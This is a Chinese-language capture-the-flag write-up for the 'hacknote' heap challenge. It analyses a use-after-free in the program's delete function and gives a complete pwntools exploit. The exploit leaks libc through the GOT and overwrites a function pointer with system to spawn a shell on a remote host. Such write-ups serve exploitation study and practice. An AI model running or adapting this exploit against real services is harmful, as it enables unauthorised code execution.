首先拿到题目是个菜单题,在ida中进行手动识别重命名函数如图:
首先按照程序流程配合程序一起分析add函数如图:
通过上面分析可知,ptr_array是一个全局数组长度为5,然后进入if判断这个“*(&ptr_array + i)”也就是ptr_array[i]那么这就对每个数组里面的内容进行判空,那就是说这个数组里面的数据是否被add过。
然后就是给数组里面每个分配了一个大小为8byte的chunk实际分配是0x10,然后这句“**(&ptr_array + i) = m_puts”实际就是给ptr_array[i]这个chunk的数据部分的前部分存入m_puts函数的地址。
那么通过上面我的注释总览图是这个样子如图:
接下来就是delete函数分析如图:
print函数分析如图:
因为是堆题,所以找常见漏洞和往常一样free函数处没有置空指针,就一定有uaf漏洞,那么在知道有这个漏洞的情况下,第一反应就是找到哪个chunk具有控制流的权限,这时再结合程序中的print函数可知,实际就是由ptr_array[i]的m_puts函数调用后面的chunk数据,既然在这里发生了函数调用(也就是控制流权限),那么我们将原来的m_puts函数改为system函数,后面的子chunk里面的数据改为’/bin/sh’就ok了,嗯,漏洞利用思路有了,下面就开始实现
个人喜欢前面理论加后面的边调试边写payload的习惯:
首先:程序肯定是从add函数开始玩的,然后需求就是我们需要控制ptr_array[i]下面的两个chunk,一个是控制函数,一个是数据函数,然后发现没有system函数那么就需要我们ret2libc,那么就是构造puts(puts@got)的程序流
那么怎么控制2个相联系的chunk呢,先试试经典的uaf流程add、delete再add一个看看会怎么样:
发现并没有什么实际作用,也就是说写了等于没写,我们实际要写入数据的是ptr_array的第一块chunk,既然我们要控制它那么就要申请一块和它大小一样的chunk达到复写的目的,因为我们在add的时候程序已经默认复写了一块8byte大小的chunk,就算我们手动将size赋8后bin中也没有大小为8的chunk,所以我们需要保证bin中有2个大小为8byte大小的chunk,这时我们申请8byte大小的chunk,程序才会分配给我们可使用uaf的chunk,所以我们先调用2次add函数,再调用delete函数,这时bin中就有4个chunk处于free状态且大小为不能都为0x8,这样才能保存我们再次申请时拿到的是前两个具有控制流的chunk,根据tcache的单链表规则我们将会拿到ptr_array[0]的程序默认分配的chunk(控制流的chunk),这时再去复写其中的chunk数据,然后再手动调用ptr_array的控制chunk就可以达到该写程序流了
exp如下:
from pwn import *
from LibcSearcher import *
context (log_level = 'debug' ,bits=32 ,os = 'linux' ,arch = 'i386' ,terminal = ['tmux' , 'splitw', '-h'])
#context (log_level = 'debug' ,bits= 32,os = 'linux' ,arch = 'i386' ,terminal = ['gnome-terminal' , '-x','sh', '-c'])
# Interface
local = 1
binary_name = "hacknote"
ip = "111.200.241.244"
port = 28394
if local:
p = process(["./" + binary_name])
e = ELF("./" + binary_name)
libc = e.libc
else:
p = remote(ip, port)
e = ELF("./" + binary_name)
# libc = ELF("libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p, a)
if a == '':
raw_input()
else:
pass
ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)
def add(size,content):
sla('Your choice :','1')
sla('Note size :',size)
sla('Content :',content)
def delete(Index):
sla('Your choice :','2')
sla('Index :',Index)
def show(Index):
sla('Your choice :','3')
sla('Index :',Index)
#z('b *0x4006B1')
puts_got = e.got['puts']
add('20','AAAA') #这里大小不重要只要不是8就行
add('20','BBBB')
pause()
delete('0')
delete('1')
#uaf
mputs = 0x0804862B
add('8',p32(mputs) + p32(puts_got)) #重点在于申请了8大小的chunk
#这里注意一下,直接获取到的puts_got的值是一个地址,我们需要的是这个地址
#指向的值,也就是puts函数的真实地址 如:0x804a024就是puts在got表中的地址
#0xf7dffca0就是这个地址指向的值,我们需要的是这个值去推算libc基址
show('0')
puts_addr = u32(rc(4))
libc_base = puts_addr - libc.symbols['puts']
success('puts_addr -> %#x',puts_addr)
success('libc_base -> %#x',libc_base)
delete('2')
add('8',p32(libc_base+libc.symbols['system']) + b';sh')
show('0')
pause()
p.interactive()
还有就是既然我们只需要在bin中有2个大小为0x8的chunk就ok了,那么在第一次add的就申请0x8的chunk不就是2个chunk大小的chunk了? 可以看看delete函数如图:这里是先free子chunk再free第一层chunk,因为申请0x8的chunk实际大小是0x10所以free后就进入了tcache里面,那么就是单链表,先进后出,等到我们再调用add函数时,拿到的还是之前add一样顺序的chunk,并不可以直接复写控制流的chunk